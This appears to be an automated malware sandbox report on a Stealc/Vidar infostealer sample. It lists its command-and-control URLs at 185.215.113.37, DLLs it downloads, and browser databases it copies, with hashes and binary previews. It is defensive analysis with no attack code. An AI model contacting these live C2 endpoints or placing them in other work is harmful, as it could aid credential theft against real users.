https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000001.00000002.2412996854.000000000186A000.00000004.00000020.00020000.00000000.sdmp, GDBAKEGI.1.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpF	file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.ecosia.org/newtab/	GDBAKEGI.1.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	DBKKKEHDHCBFIEBFBGIDGHJJJD.1.dr	false	URL Reputation: safe	unknown
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000001.00000002.2436308273.0000000029A56000.00000004.00000020.00020000.00000000.sdmp, AFCFHDHIIIECBGCAKFIJ.1.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php.	file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ac.ecosia.org/autocomplete?q=	GDBAKEGI.1.dr	false	URL Reputation: safe	unknown
https://ac.ecopnacl	file.exe, 00000001.00000002.2412996854.000000000186A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dllr	file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpj=c	file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	DBKKKEHDHCBFIEBFBGIDGHJJJD.1.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php6	file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000001.00000002.2436308273.0000000029A56000.00000004.00000020.00020000.00000000.sdmp, AFCFHDHIIIECBGCAKFIJ.1.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dlld	file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	file.exe, 00000001.00000002.2436308273.0000000029A56000.00000004.00000020.00020000.00000000.sdmp, AFCFHDHIIIECBGCAKFIJ.1.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpN=	file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org	DBKKKEHDHCBFIEBFBGIDGHJJJD.1.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpwindow-state.json	file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ac.ecop	file.exe, 00000001.00000002.2412996854.000000000186A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	GDBAKEGI.1.dr	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000001.00000002.2436308273.0000000029A56000.00000004.00000020.00020000.00000000.sdmp, AFCFHDHIIIECBGCAKFIJ.1.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1542042
Start date and time:	2024-10-25 13:49:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/23@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 77 Number of non-executed functions: 107
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	3WffcqLN3q.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AFCFHDHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFCFHDHIIIECBGCAKFIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\CAKEBFCFIJJKKECAKJEHDAAFIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBKKFHIEGDHJKECAAKKEBAFIJK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBKKKEHDHCBFIEBFBGIDGHJJJD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECBGCGCGIEGCBFHIIEBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GDBAKEGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCAAEGIJKEGHIDGCBAEB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDHCBAEHJJJKKFIDGHJECAFIDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 3WffcqLN3q.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

